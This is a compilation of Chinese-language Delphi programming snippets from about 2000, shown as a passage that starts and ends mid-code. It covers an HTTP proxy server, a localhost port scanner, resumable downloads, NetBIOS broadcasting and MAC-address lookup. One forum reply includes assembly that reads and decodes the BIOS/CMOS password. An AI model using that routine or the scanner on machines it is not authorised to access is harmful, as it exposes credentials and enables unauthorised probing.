inc(k);

end;

if k>0 then

begin

sessions:=sessions-k;

setlength(session,sessions);

end;

edit1.text:=inttostr(sessions);

errorcode:=0;

end;

//被代理端发送来页面请求时…

procedure TForm1.ServerSocket1ClientRead(Sender: TObject;

Socket: TCustomWinSocket);

var

tmp,line,host: string;

i,j,port: integer;

begin

for i:=1 to sessions do {判断是哪一个会话}

if session[i-1].Used and (session[i-1].SS_Handle=socket.sockethandle) then

begin

session[i-1].request_str:=socket.ReceiveText; {保存请求数据}

tmp:=session[i-1].request_str; {存放到临时变量}

memo1.lines.add(tmp);

j:=pos(char(13)+char(10),tmp); {一行标志}

while j>0 do {逐行扫描请求文本，查找主机地址}

begin

line:=copy(tmp,1,j-1); {取一行}

delete(tmp,1,j+1); {删除一行}

j:=pos('Host',line); {主机地址标志}

if j>0 then

begin

delete(line,1,j+5); {删除前面的无效字符}

j:=pos(':',line);

if j>0 then

begin

host:=copy(line,1,j-1);

delete(line,1,j);

try

port:=strtoint(line);

except

port:=80;

end;

end

else

begin

host:=trim(line); {获取主机地址}

port:=80;

end;

if not session[i-1].remote_connected then {假如远征尚未连接}

begin

session[i-1].Request:=true; {置请求数据就绪标志}

session[i-1].CSocket.host:=host; {设置远程主机地址}

session[i-1].CSocket.port:=port; {设置端口}

session[i-1].CSocket.active:=true; {连接远程主机}

session[i-1].Lookingup:=true; {置标志}

session[i-1].LookupTime:=0; {从0开始计时}

end

else

{假如远程已连接，直接发送请求}

session[i-1].CSocket.socket.sendtext(session[i-1].request_str);

break; {停止扫描请求文本}

end;

j:=pos(char(13)+char(10),tmp); {指向下一行}

end;

break; {停止循环}

end;

end;

//当连接远程主机成功时…

procedure TForm1.ClientSocket1Connect(Sender: TObject;

Socket: TCustomWinSocket);

var

i: integer;

begin

for i:=1 to sessions do

if (session[i-1].CSocket.socket.sockethandle=socket.SocketHandle) and session[i-1].Used then

begin

session[i-1].CSocket.tag:=socket.SocketHandle;

session[i-1].remote_connected:=true; {置远程主机已连通标志}

session[i-1].Lookingup:=false; {清标志}

break;

end;

end;

//当远程主机断开时…

procedure TForm1.ClientSocket1Disconnect(Sender: TObject;

Socket: TCustomWinSocket);

var

i,j,k: integer;

begin

for i:=1 to sessions do

if (session[i-1].CSocket.tag=socket.SocketHandle) and session[i-1].Used then

begin

session[i-1].remote_connected:=false; {置为未连接}

if not session[i-1].client_connected then

session[i-1].Used:=false {假如客户机已断开，则置释放资源标志}

else

for k:=1 to serversocket1.Socket.ActiveConnections do

if (serversocket1.Socket.Connections[k-1].SocketHandle=session[i-1].SS_Handle) and session[i-1].used then

begin

serversocket1.Socket.Connections[k-1].Close;

break;

end;

break;

end;

j:=sessions;

k:=0;

for i:=1 to j do

begin

if session[j-i].Used then

break;

inc(k);

end;

if k>0 then {修正会话数组}

begin

sessions:=sessions-k;

setlength(session,sessions);

end;

edit1.text:=inttostr(sessions);

end;

//当与远程主机通信发生错误时…

procedure TForm1.ClientSocket1Error(Sender: TObject;

Socket: TCustomWinSocket; ErrorEvent: TErrorEvent;

var ErrorCode: Integer);

var

i,j,k: integer;

begin

for i:=1 to sessions do

if (session[i-1].CSocket.tag=socket.SocketHandle) and session[i-1].Used then

begin

socket.close;

session[i-1].remote_connected:=false; {置为未连接}

if not session[i-1].client_connected then

session[i-1].Used:=false {假如客户机已断开，则置释放资源标志}

else

for k:=1 to serversocket1.Socket.ActiveConnections do

if (serversocket1.Socket.Connections[k-1].SocketHandle=session[i-1].SS_Handle) and session[i-1].used then

begin

serversocket1.Socket.Connections[k-1].Close;

break;

end;

break;

end;

j:=sessions;

k:=0;

for i:=1 to j do

begin

if session[j-i].Used then

break;

inc(k);

end;

errorcode:=0;

if k>0 then {修正会话数组}

begin

sessions:=sessions-k;

setlength(session,sessions);

end;

edit1.text:=inttostr(sessions);

end;

//向远程主机发送页面请求…

procedure TForm1.ClientSocket1Write(Sender: TObject;

Socket: TCustomWinSocket);

var

i: integer;

begin

for i:=1 to sessions do

if (session[i-1].CSocket.tag=socket.SocketHandle) and session[i-1].Used then

begin

if session[i-1].Request then

begin

socket.SendText(session[i-1].request_str); {假如有请求，发送}

session[i-1].Request:=false; {清标志}

end;

break;

end;

end;

//远程主机发来页面数据时…

procedure TForm1.ClientSocket1Read(Sender: TObject;

Socket: TCustomWinSocket);

var

i,j: integer;

rec_bytes: integer; {传回的数据块长度}

rec_Buffer: array[0..2047] of char; {传回的数据块缓冲区}

begin

for i:=1 to sessions do

if (session[i-1].CSocket.tag=socket.SocketHandle) and session[i-1].Used then

begin

rec_bytes:=socket.ReceiveBuf(rec_buffer,2048); {接收数据}

for j:=1 to serversocket1.Socket.ActiveConnections do

if serversocket1.Socket.Connections[j-1].SocketHandle=session[i-1].SS_Handle then

begin

serversocket1.Socket.Connections[j-1].SendBuf(rec_buffer,rec_bytes); {发送数据}

break;

end;

break;

end;

end;

//“页面找不到”等错误信息出现时…

procedure TForm1.AppException(Sender: TObject; E: Exception);

begin

inc(invalidrequests);

end;

//查找远程主机定时…

procedure TForm1.Timer1Timer(Sender: TObject);

var

i,j: integer;

begin

for i:=1 to sessions do

if session[i-1].Used and session[i-1].Lookingup then {假如正在连接}

begin

inc(session[i-1].LookupTime);

if session[i-1].LookupTime>lookuptimeout then {假如超时}

begin

session[i-1].Lookingup:=false;

session[i-1].CSocket.active:=false; {停止查找}

for j:=1 to serversocket1.Socket.ActiveConnections do

if serversocket1.Socket.Connections[j-1].SocketHandle=session[i-1].SS_Handle then

begin

serversocket1.Socket.Connections[j-1].Close; {断开客户机}

break;

end;

end;

end;

end;

end.

后记

由于这种设计思路仅仅在被代理端和远程主机之间增加了一个重定向功能，被代理端原

有的缓存技术等特点均保留，因此效率较高。经过测试，利用1个33.6K的Modem上网时，三到十个被代理工作站同时上网，仍有较好的响应速度。由于被代理工作站和代理服务器工作站之间的连接一般通过高速链路，因此瓶颈主要出现在代理服务器的上网方式上。

通过上述方法，作者成功开发了一套完善的代理服务器软件并与机房计费系统完全集

成，实现了利用一台工作站完成上网代理、上网计费、用机计费等功能。

有编程经验的朋友完全可以另行增加代理服务器功能，如设定禁止访问站点、统计客户流量、Web访问列表等等。

作者：王国忠

浙江远征软件工作室

地址：浙江.杭州.桐庐.迎春南路

南苑新居.1单元602室

邮编：311500

电话：0571-4206902，

13806510301

Email：4206902@21cn.com

发稿日期：2000年7月14日


一个端口扫描程序
program Project1;

{$APPTYPE CONSOLE}

uses winsock,sysutils,windows;

const

startport=1;

stopport=30;

var

s:tsocket;

i,j,error:integer;

server:tsockaddrin;

wsa:twsadata;

begin

writeln('===============================================================================');

writeln('== Very Slow Port Scanner==');

writeln('== Edit bywhaoye@21cn.com ==');

writeln('===============================================================================');

writeln(' ====');

writeln(' ====');

writeln('=====================================================================');

writeln(' ====');

wsastartup(makeword(1,1),wsa);

server.sin_family:=AF_INET;

server.sin_addr.S_addr:=inet_addr('127.0.0.1');

for i:=startport to stopport do

begin

s:=socket(AF_INET, SOCK_STREAM, 0);

server.sin_port:=htons(i);

error:=connect(s,server,sizeof(server));

if error=0 then

begin

write(' == Scan port: '+inttostr(i));

for j:=0 to 5-length(inttostr(i)) do

write(' ');

writeln(' [ok] ==');

closesocket(s);

end;

end;

writeln(' ====');

writeln('=====================================================================');

writeln(' ====');

writeln(' ====');

writeln('============================================================================');

writeln('== Thank you for your test! Good luck!==');

writeln('== Edit bywhaoye@21cn.com ==');

writeln('===========================================================================');

wsacleanup();

readln;

end.


端点续传
断点续传是支持从文件的不同偏移开始传送数据，普通传送是从文件开头传送，

在 RETR 或 STOR 命令发送前先发送一个 REST xxx，表示从文件的偏移 xxx 处

开始传送，注意，有的服务器可能不支持 REST 命令。

如果使用ICS控件，那么

HttpCli.ContentRangeBegin := '100' 表示从100开始

HttpCli.ContentRangeEnd :='' 表示一直到结束

HttpCli.ContentRangeEnd :='200' 表示到200字节处结束

如果使用 TNMHTTP 控件

在OnAboutToSend事件，写：

NMHTTP1.SendHeader.Values['Range'] := 'bytes=100-' 表示从100字节处开始下载到最后

NMHTTP1.SendHeader.Values['Range'] := 'bytes=100-200' 表示从100字节处开始下载到200字节处结束

***************

procedure TForm1.Button6Click(Sender: TObject);

var

f:TSearchRec;

begin

FindFirst('a.doc',faAnyFile,f);

fPreSize:=f.Size;

NMFtp.DoCommand('Rest '+IntToStr(fPreSize));

NMFtp.DownloadRestore('a.doc','a.doc');

end;

这是用TNMFtp来续传的代码。

***********


Delphi实现NetBIOS广播收发
NetBIOS网络协议对于很多读者来说可能比较陌生，但其实它是由IBM开发的一个很古老的协议，当年在LAN上也风光一时。说它老，其实也不过10年光景，IT业的发展实在是太快。由于NetBIOS不具备路由功能，也就是说它的数据包无法跨网段传输，因此在广域网、城域网大行其道的今天，它已退居配角。如果你有心的话，能够发现在Window95 / 98的网络协议中仍然保留着NetBIOS，不过它已经改名叫NetBEUI(NetBIOS扩展用户接口)，是NetBIOS的Microsoft改进版。另外在TCP/IP以及IPX/SPX协议中，也依然保留了对NetBIOS的支持，只要查看网络协议属性中的高级，就能看到启用NetBIOS的选项。

    之所以这样是有原因的。NetBIOS协议短小精悍，非常适用于小型局域网，特别是一些对实时性要求较高的网络环境。NetBIOS的广播功能由于有开发使用方便、系统开销小的优点，所以在很多场合仍然被大量使用。笔者由于工作需要，在一个航天测控软件的编制中就使用了NetBIOS广播功能。

    我原以为这是件很简单的工作，因为WIN32API中提供了一个Netbios函数，里面封装了所有函数和数据结构，用起来很方便，在BC和VC下都如此。可是由于这次是使用流行的Delphi作编译器，却遇到了意想不到的麻烦:号称全面移植WIN32API的Delphi中偏偏没有Netbios函数!这下顿时让我方寸大乱。怎么办?总不能从底层干起吧?而且时间也不允许。在冷静下来之后，我忽然想到，既然WIN95支持NetBIOS，那么系统就一定会提供DLL支持，编译器本身是没有底层支持的。于是我在机器中搜索，果然，在SYSTEM目录下有一个Netbios.dll，用快速查看将其打开，在导出表部分显示如下:

    导出表:

序数 入口 名称

0000 00001a37 NetbiosAddthd

0001 000019eb NetbiosDelete

0002 00001a96 NetbiosDelthd

0003 000019b1 NetbiosInitialize

0004 0000186b PostRoutineCaller

0005 0000102e _Netbios

     注意到那个0005号_Netbios导出函数了吗?那就是我需要的!经过紧张的试验调试，证明它和WIN32API手册上的Netbios完全一样。剩下的工作就比较简单了，定义一个NCB(Netbios控制块)记录，将NCB数据结构封装在里面;声明一个后处理例程以及消息处理过程，以完成广播数据的接收和发送。有关NCB数据结构的详细内容以及NetBIOS广播的原理，限于篇幅我就省略了。需要的朋友可以查看BC或VC的Help或相关书籍。下面是有关的Delphi源代码。

/////////Netbios单元///////////

    unit netbios;

    interface

      uses windows，messages，Forms，SysUtils;

       type

         {＄X＋}{＄A＋}

          file://声明一个NCB记录指针。

          PNCB=^NCB;

         file://声明一个后处理例程的过程类型。

          POST=procedure(var ncbR:PNCB);

         file://以下是NCB记录，教训1:将上面的编译选项置为{＄A＋}以取消数据对齐。如果在广播中有浮点数的话，数据对齐会让你大吃苦头!我已经有过惨痛教训!:(

          NCB=record

          ncb_command:UCHAR;

          ncb_retcode:UCHAR;

          ncb_lsn:UCHAR;

          ncb_num:UCHAR;

          ncb_buffer:PCHAR;

          ncb_length:WORD;

          ncb_callname:array [1..16] of UCHAR;

          ncb_name:array [1..16] of UCHAR;

          ncb_rto:UCHAR;

          ncb_sto:UCHAR;

          ncb_post:POST;

          ncb_lana_num:UCHAR;

          ncb_cmd_cplt:UCHAR;

          ncb_reserve:array [1..10] of UCHAR;

          ncb_event:HANDLE;

          end;

         file://声明自己的Netbios函数。教训2:一定要使用pascal调用规范，否则，嘿嘿!!

         function NetbiosSR(ncbX:PNCB):UCHAR;pascal;

         file://初始化NCB。

           procedure InitNCB(var ncbY:PNCB);

         file://后处理例程，注意使用远指针。

           procedure postrout(var ncbR:PNCB);stdcall;far;

             var

              char_buffer:array[0..511]of UCHAR;

              int_buffer:array[1..512]of Byte;

              implementation

              file://调用系统的Netbios。dll中的Netbios函数标号是6。Delphi搜索外部文件的顺序是当前目录→系统目录→其他目录，别忘了保证存在Netbios.dll。

              function NetbiosSR(ncbX:PNCB):UCHAR;external

             ‘netbios'' index 6;

              procedure InitNCB(var ncbY:PNCB);

                var

                  x:integer;

                begin

                  ncbY.ncb_command:=0;

                 ncbY.ncb_retcode:=0;

                  ncbY.ncb_lsn:=0;

                  ncbY.ncb_num:=0;

                  ncbY.ncb_length:=512; file://数据缓冲长度，最大512B。

                  for x:=1 to 16 do

                    begin

                      ncbY.ncb_callname[x]:=0;

                      ncbY.ncb_name[x]:=0;

                    end;

                      ncbY.ncb_rto:=0;

                      ncbY.ncb_sto:=0;

                      ncbY.ncb_lana_num:=0;

                      ncbY.ncb_cmd_cplt:=0;

                      for x:=1 to 10 do

                        ncbY.ncb_reserve[x]:=0;

                        ncbY.ncb_event:=0;

                      end;

                     file://后处理例程的作用是当接收到广播消息时，立即向相应窗口发送消息。我在这里偷了点懒，以广播方式发送一个定时器消息。如果你愿意可以向指定窗口发送自定义消息，这样要复杂一些。

    首先，要把指定窗口的句柄传递给后台处理例程。通常这是做不到的，但可以利用一些技巧做到。在NCB记录后面紧挨着声明一个句柄类型，然后把指定窗口的句柄赋值给它的实例变量;这样句柄变量的地址与NCB是连续的。在后处理中通过指针或汇编语句将ncbR的地址移到最后一个字节＋1，就是窗口句柄的起始地址。明白吗?至于自定义消息，需要重新编译连接库，限于篇幅我就不罗嗦了，有兴趣的可以自己尝试。

procedure postrout(var ncbR:PNCB);

        begin

         sendMessage(wnd_BROADCAST，WM_TIMER，0，0);

       end;

      end.

      ////////窗口单元//////////

      unit broadcast;

      interface

      uses

        Windows，Messages，SysUtils，Classes，Graphics，Controls，Forms，Dialogs，netbios;

      type

        Tmain=class(TForm)

       private

        {Private declarations}

        file://消息处理过程，注意消息宏要与后处理中的一致。

         procedure post_main(var Message:TMessage);message WM_TIMER;

      public

        {Public declarations}

     end;

       var

        main: Tmain;

        ncbname:UCHAR;

        ncbRock:PNCB;

        post_add:POST;

      implementation

         {＄R ＊.DFM}{＄A－}{＄I－}

    /////////主窗口建立过程/////////

       procedure Tmain.FormCreate(Sender: TObject);

         var

          ret:UCHAR;

          i，x，y:integer;

          p:single;

         begin

          new(ncbRock);

          randomize();i:=0;

          FillChar(char_buffer，sizeof(char_buffer)，0);

          post_add:=@postrout;

          file://取后处理例程的地址。

          ncbRock.ncb_buffer:=@char_buffer; file://取数据缓冲区的地址。

          InitNCB(ncbRock);

          ret:=9;

          ncbname:=random(100);

          ncbRock.ncb_name[1]:=ncbname;

          ncbRock.ncb_command:=＄30;

          file://加名，ret为0加名成功。

          while ((i<10)and(ret<>0)) do

            begin

              ret:=netbiosSR(ncbRock);

              i:=i＋1;

            end;

            if ret<>0 then

              begin

              for i:=1 to 20 do

                messagebeep(－1);

                MessageDlg(‘网络通信无法实现！您需要关闭程序重新运行.''，mtWarning，

                [mbOk]，0);

              end

             else if ret=0 then

              begin

                ncbRock.ncb_post:=post_add;

                ncbRock.ncb_command:=＄a3; file://异步接收方式字。

                ncbRock.ncb_event:=0;

                ncbRock.ncb_length:=512;

               ret:=netbiosSR(ncbRock);

              end;

           end;

         ///////////广播消息处理过程/////

         procedure Tmain.post_main(var Message:TMessage);

           var

             x:integer;

             ret:UCHAR;

           begin

              file://取出数据缓冲区的内容

              for x:=0 to 511 do

                int_buffer[x＋1]:=char_buffer[x];

                ////以下可以进行数据处理////

                file://重新打开异步接受。

                ncbRock.ncb_post:=post_add;

                ncbRock.ncb_command:=＄a3;

                ncbRock.ncb_event:=0;

                ncbRock.ncb_length:=512;

                ret:=netbiosSR(ncbRock);

               end;

           end.

    注:广播发送非常简单，不再详述。上述程序经过一年运行完全可靠。另外，经过改造可以将其改为LAN下的聊天程序。


如何用delphi获得网卡的物理地址
function GetMacAddresses(const Machine: string; const Addresses: TStrings): Integer;

var

NCB: TNCB;

Enum: TLanaEnum;

I, L, NameLen: Integer;

Adapter: ASTAT;

MachineName: string;

begin

Result := -1;

Addresses.Clear;

MachineName := UpperCase(Machine);

if MachineName = '' then

MachineName := '*';

NameLen := Length(MachineName);

L := NCBNAMSZ - NameLen;

if L > 0 then

begin

SetLength(MachineName, NCBNAMSZ);

FillChar(MachineName[NameLen + 1], L, ' ');

end;

FillChar(NCB, SizeOf(NCB), #0);

NCB.ncb_command := NCBENUM;

NCB.ncb_buffer := Pointer(@Enum);

NCB.ncb_length := SizeOf(Enum);

if NetBios(@NCB) = NRC_GOODRET then

begin

Result := Enum.Length;

for I := 0 to Ord(Enum.Length) - 1 do

begin

FillChar(NCB, SizeOf(NCB), #0);

NCB.ncb_command := NCBRESET;

NCB.ncb_lana_num := Enum.lana[I];

if NetBios(@NCB) = NRC_GOODRET then

begin

FillChar(NCB, SizeOf(NCB), #0);

NCB.ncb_command := NCBASTAT;

NCB.ncb_lana_num := Enum.lana[I];

Move(MachineName[1], NCB.ncb_callname, SizeOf(NCB.ncb_callname));

NCB.ncb_buffer := PChar(@Adapter);

NCB.ncb_length := SizeOf(Adapter);

if NetBios(@NCB) = NRC_GOODRET then

Addresses.Add(AdapterToString(Adapter.adapt));

end;

end;

end;

end;

************************

//获取网卡地址，使用netbios 3.0调用 uses nb30.pas shipped with delphi 4.0

function _NetCardAddress : String ;

var

NCB : TNCB ; // Netbios control block

ADAPTER : TADAPTERSTATUS ; // Netbios adapter status

LANAENUM : TLANAENUM ; // Netbios lana

intIdx : Integer ; // Temporary work value

CRC : Char ; // Netbios return code

strTemp : String ; // Temporary string

begin

Result := '' ;

try

ZeroMemory(@NCB,SizeOf(NCB)) ; // Zero control blocl

NCB.ncb_command := Chr(NCBENUM) ; // Issue enum command

cRC := NetBios(@NCB) ;

if Ord(cRC)>0 then begin

result:=_NBReturnMSG(crc);

exit ;

end;

NCB.ncb_buffer := @LANAENUM ; // Reissue enum command

NCB.ncb_length := SizeOf(LANAENUM);

cRC := NetBios(@NCB) ;

if Ord(cRC)>0 then begin

result:=_NBReturnMSG(crc);

exit ;

end;

ZeroMemory(@NCB,SizeOf(NCB)) ; // Reset adapter

NCB.ncb_command := Chr(NCBRESET) ;

NCB.ncb_lana_num := LANAENUM.lana[0] ;

cRC := NetBios(@NCB) ;

if Ord(cRC)>0 then begin

result:=_NBReturnMSG(crc);

exit ;

end;

ZeroMemory(@NCB,SizeOf(NCB)) ; // Get adapter address

NCB.ncb_command := Chr(NCBASTAT) ;

NCB.ncb_lana_num := LANAENUM.lana[0] ;

StrPCopy(NCB.ncb_callname,'*') ;

NCB.ncb_buffer := @ADAPTER ;

NCB.ncb_length := SizeOf(ADAPTER) ;

cRC := NetBios(@NCB) ;

if Ord(cRC)>0 then begin

result:=_NBReturnMSG(crc);

exit ;

end; // Convert Netcard address it to string

strTemp := '' ;

for intIdx := 0 to 5 do strTemp := strTemp + _Char2Hex(ADAPTER.adapter_address[intIdx]) ;

Result := strTemp ;

finally

end ;

end ;

不知你指的是在Window3.2(16Bit Delphi)还是Windows95&98&2000(32Bit Delphi)，如果是32位Delphi，使用Netbios(nb30.pas)，如果是16位Delphi，使用NetBiosCall（汇编语言）。


请问如何读取BOIS和网卡信息
回复人：aiirii(2000-06-22 19:30:00 ) 得0分

读bois的程序：

procedure TForm1.Button1Click(Sender: TObject);

var data:Smallint;temp:byte;

decode,passwd:array [0..9] of char;count,I:integer;

begin

count:=0;

asm

mov al,29

out $70,al

mov ah,al

mov al,28

out $70,al

in al,$71

mov data,ax

end;

while data>0 do

begin

if (data<$80) then

begin

passwd[count]:=char(data);

break;

end

else

begin

temp:=data and $3f;

if (temp <= $20) then

temp:=temp or $30;

passwd[count]:=char(temp);

count:=count+1;

data:=data-temp;

data:=data shr 2;

end;

end;

i:=0;

while (count>=0) do

begin

decode[i]:=passwd[count];

count:=count-1;

i:=i+1;

end;

showmessage('the CMOS passwd= '+decode);

end;

回复人：zxghl(2000-06-22 23:44:00 ) 得50分

aiirii的方法通过读取端口获得的结果是 CMOS 参数，这还是不足以作为加密依据。

因为口令等数据是会变化的。同硬盘序列号一样。

我会随后发一个控件给你，这个控件包含了在win98下读取BIOS、网卡信息的多个功能。

********************************************

另外关于读取BIOS信息，你还不妨试一下以下语句：

procedure TForm1.Button1Click(Sender: TObject);

var

bn, bc, bd, bs: string;

begin

try

bn := String(Pchar(Ptr($FE061)));

bc := String(Pchar(Ptr($FE091)));

bd := String(Pchar(Ptr($FFFF5)));

bs := String(Pchar(Ptr($FEC71)));

except

bn := 'Unsupported';

bc := 'Unsupported';

bd := 'Unsupported';

bs := 'Unsupported';

end;

showmessage(

'[BiosName] ' + bn + #13 +

'[BiosCopyright] ' + bc + #13 +

'[BiosDate] ' + bd + #13 +

'[BiosSerial] ' + bs);

end;

这段程序在我的三台机器上都通过。另外在一台DOS622机器上，用C语言编写程序读取

以上的四个地址都正确，还有直接用DEBUG也可以看到。


一个检测本机网卡号（物理地址）的程序源码
unit Main;

interface

uses

SysUtils, WinTypes, WinProcs, Messages, Classes, Graphics, Controls,

Forms, Dialogs, StdCtrls,

Nb, ExtCtrls;

type

TForm1 = class(TForm)

Panel1: TPanel;

Memo1: TMemo;

Panel2: TPanel;

Button1: TButton;

procedure Button1Click(Sender: TObject);

procedure FormCreate(Sender: TObject);

private

{ Private declarations }

public

{ Public declarations }

end;

var

Form1: TForm1;

implementation

{$R *.DFM}

{---------------------------------------------}

{ enumerate the lana's - works only on WIN32 }

{---------------------------------------------}

function NbLanaEnum: TLana_Enum;

var

NCB: TNCB;

L_Enum: TLana_Enum;

RetCode: Word;

begin

{$IFDEF WIN32}

FillChar(NCB, SizeOf(NCB), 0);

FillChar(L_Enum, SizeOf(TLana_Enum), 0);

NCB.Command := NCB_ENUM;

NCB.Buf := @L_Enum;

NCB.Length := Sizeof(L_Enum);

RetCode := NetBiosCmd(NCB);

if RetCode <> NRC_GOODRET then begin

L_Enum.Length := 0;

L_Enum.Lana[0] := Byte(RetCode);

end;

{$ELSE} { not supported for WIN16, fake LANA 0 }

L_Enum.Length := 1;

L_Enum.Lana[0] := 0;

{$ENDIF}

Result := L_Enum;

end;

{----------------------------------------}

{ Reset the lana - don't for WIN16 ! }

{----------------------------------------}

function NbReset(l: Byte): Word;

var

NCB: TNCB;

begin

{$IFNDEF WIN32} { will reset all your connections for WIN1

6 }

Result := NRC_GOODRET; { so just fake a reset for Win16

}

{$ELSE}

FillChar(NCB, SizeOf(NCB), 0);

NCB.Command := NCB_RESET;

NCB.Lana_Num := l;

Result := NetBiosCmd(NCB);

{$ENDIF}

end;

{----------------------------------------}

{ return the MAC address of an interface }

{ in the form of a string like : }

{ 'xx:xx:xx:xx:xx:xx' }

{ using the definitions in nb.pas }

{----------------------------------------}

function NbGetMacAddr(LanaNum: Integer): String;

var

NCB: TNCB;

AdpStat: TAdpStat;

RetCode: Word;

begin

FillChar(NCB, SizeOf(NCB), 0);

FillChar(AdpStat, SizeOf(AdpStat), 0);

NCB.Command := NCB_ADPSTAT;

NCB.Buf := @AdpStat;

NCB.Length := Sizeof(AdpStat);

FillChar(NCB.CallName, Sizeof(TNBName), $20);

NCB.CallName[0] := Byte('*');

NCB.Lana_Num := LanaNum;

RetCode := NetBiosCmd(NCB);

if RetCode = NRC_GOODRET then begin

Result := Format('%2.2x:%2.2x:%2.2x:%2.2x:%2.2x:%2.2x',

[AdpStat.ID[0],

AdpStat.ID[1],

AdpStat.ID[2],

AdpStat.ID[3],

AdpStat.ID[4],

AdpStat.ID[5]

]);

end else begin

Result := '??:??:??:??:??:??';

end;

end;

procedure TForm1.Button1Click(Sender: TObject);

begin

Close;

end;

procedure TForm1.FormCreate(Sender: TObject);

var

L_Enum : TLana_Enum;

RetCode: Word;

i: Integer;

begin

L_Enum := NbLanaEnum; { enumerate lanas for WI

N NT }

if L_Enum.Length = 0 then begin

Button1.Caption := Format('LanaEnum err=%2.2x', [L_Enum.Lana[0]]);

exit;

end;

for i := 0 to (L_Enum.Length - 1)do begin { for every lana found

}

RetCode := NbReset(L_Enum.Lana[i]); { Reset lana for WIN NT

}

if RetCode <> NRC_GOODRET then begin

Button1.Caption := Format('Reset Lana %d err=%2.2x',[i, RetCode

]);

exit;

end;

{ Get MAC Address

}

Memo1.Lines.Add(Format('Lana %x = %s', [L_Enum.Lana[i], NbGetMacAd

dr(i)]));

end;

Button1.Caption := 'Stop';

end;

end.

—————————————————————————————————— -

unit Nb;

{$F+}

{ nb.pas

16/32 bit windows netbios access (follows IBM's Netbios 3.0 spec)

(C) CEVI VZW - 29 april 1998 -- DH (Danny.Heijl@cevi.be) --

You can (ab)use this code as you like, but please do not remove the

credits.

I used reference material from IBM, Microsoft, Syntax and Byte when

I wrote

the 16-bit (DOS) c-version ages ago (in Borland Turbo C 2.0 on a 38

6SX PC)

with a Syntax SMB server running on Interactive Unix.

I now converted this to 16 and 32 bit Delphi code.

}

interface

uses SysUtils, Winprocs, Wintypes;

const

{ size of a netbios name }

NBNAMESIZE = 16;

{ max number of network adapters }

{ remeber it's BIG Blue, right ? }

MAXLANAS = 254;

{ NCB Command codes }

NCB_ASYNC = $80; { asynch command bit to be or-ed into command

}

NCB_CALL = $10; { open a session }

NCB_LISTEN = $11; { wait for a call }

NCB_HANGUP = $12; { end session }

NCB_SEND = $14; { send data }

NCB_RECV = $15; { receive data }

NCB_RECVANY = $16; { receive data on any session }

NCB_CHAINSEND = $17; { chain send data }

NCB_DGSEND = $20; { send a datagram }

NCB_DGRECV = $21; { receive datagram }

NCB_DGSENDBC = $22; { send broadcast datagram }

NCB_DGREVCBC = $23; { receive broadcast datagram }

NCB_ADDNAME = $30; { add unique name to local table }

NCB_DELNAME = $31; { delete name from local table }

NCB_RESET = $32; { reset adapter }

NCB_ADPSTAT = $33; { adapter status }

NCB_SSTAT = $34; { session status }

NCB_CANCEL = $35; { cancel NCB request }

NCB_ADDGRPNAME= $36; { add group name to local table }

NCB_ENUM = $37; { enum adapters }

NCB_UNLINK = $70; { unlink remote boot code }

NCB_SENDNA = $71; { send, don't wait for ACK }

NCB_CHAINSENDNA=$72; { chain send, but don't wait for ACK }

NCB_LANSTALERT= $73; { lan status alert }

NCB_ACTION = $77; { enable extensions }

NCB_FINDNAME = $78; { search for name on the network }

NCB_TRACE = $79; { activate / stop tracing }

{ NCB return codes }

NRC_GOODRET = $00; { good return

also returned when ASYNCH request accept

ed }

NRC_BUFLEN = $01; { illegal buffer length

}

NRC_ILLCMD = $03; { illegal command

}

NRC_CMDTMO = $05; { command timed out

}

NRC_INCOMP = $06; { message incomplete, issue another comman

d }

NRC_BADDR = $07; { illegal buffer address

}

NRC_SNUMOUT = $08; { session number out of range

}

NRC_NORES = $09; { no resource available

}

NRC_SCLOSED = $0a; { session closed

}

NRC_CMDCAN = $0b; { command cancelled

}

NRC_DUPNAME = $0d; { duplicate name

}

NRC_NAMTFUL = $0e; { name table full

}

NRC_ACTSES = $0f; { no deletions, name has active sessions

}

NRC_LOCTFUL = $11; { local session table full

}

NRC_REMTFUL = $12; { remote session table full

}

NRC_ILLNN = $13; { illegal name number

}

NRC_NOCALL = $14; { no callname

}

NRC_NOWILD = $15; { cannot put * in NCB_NAME

}

NRC_INUSE = $16; { name in use on remote adapter

}

NRC_NAMERR = $17; { name deleted

}

NRC_SABORT = $18; { session ended abnormally

}

NRC_NAMCONF = $19; { name conflict detected

}

NRC_IFBUSY = $21; { interface busy, IRET before retrying

}

NRC_TOOMANY = $22; { too many commands outstanding, retry lat

er }

NRC_BRIDGE = $23; { ncb_lana_num field invalid

}

NRC_CANOCCR = $24; { command completed while cancel occurring

}

NRC_CANCEL = $26; { command not valid to cancel

}

NRC_DUPENV = $30; { name defined by anther local process

}

NRC_ENVNOTDEF = $34; { environment undefined. RESET required

}

NRC_OSRESNOTAV = $35; { required OS resources exhausted

}

NRC_MAXAPPS = $36; { max number of applications exceeded

}

NRC_NOSAPS = $37; { no saps available for netbios

}

NRC_NORESOURCES = $38; { requested resources are not available

}

NRC_INVADDRESS = $39; { invalid ncb address or length > segment

}

NRC_INVDDID = $3B; { invalid NCB DDID

}

NRC_LOCKFAIL = $3C; { lock of user area failed

}

NRC_OPENERR = $3f; { NETBIOS not loaded

}

NRC_SYSTEM = $40; { system error

}

NRC_PENDING = $ff; { asynchronous command is not yet finished

}

{ Values for transport_id }

ALL_TRANSPORTS = 'M'#$00#$00#$00;

MS_NBF = 'MNBF';

{ values for name_flags bits. }

NAME_FLAGS_MASK = $87;

GROUP_NAME = $80;

UNIQUE_NAME = $00;

REGISTERING = $00;

REGISTERED = $04;

DEREGISTERED = $05;

DUPLICATE = $06;

DUPLICATE_DEREG = $07;

{ Values for state }

LISTEN_OUTSTANDING = $01;

CALL_PENDING = $02;

SESSION_ESTABLISHED = $03;

HANGUP_PENDING = $04;

HANGUP_COMPLETE = $05;

SESSION_ABORTED = $06;

type

{ Netbios Name }

TNBName = array[0..(NBNAMESIZE - 1)] of byte;

{ MAC address }

TMacAddress = array[0..5] of byte;

PNCB = ^TNCB;

{ Netbios Control Block }

{$IFDEF WIN32}

TNCBPostProc = procedure(P: PNCB);

{$ENDIF}

TNCB = packed record { Netbios Control Block }

Command: byte; { command code }

RetCode: byte; { return code }

LSN: byte; { local session number }

Num: byte; { name number }

Buf: ^byte; { data buffer }

Length: word; { data length }

CallName: TNBName; { name to call }

Name: TNBName; { our own name }

RTO: byte; { receive time-out }

STO: byte; { send time-out }

{$IFNDEF WIN32}

Post_Offs:word; { asynch notification routine offset }

Post_Seg: word; { asynch notification routine segment}

{$ELSE}

PostPrc: TNCBPostProc;{ asynch notification routine (nb30) }

{$ENDIF}

Lana_Num: byte; { adapter number }

Cmd_Cplt: byte; { command completion flag }

{$IFDEF WIN32}

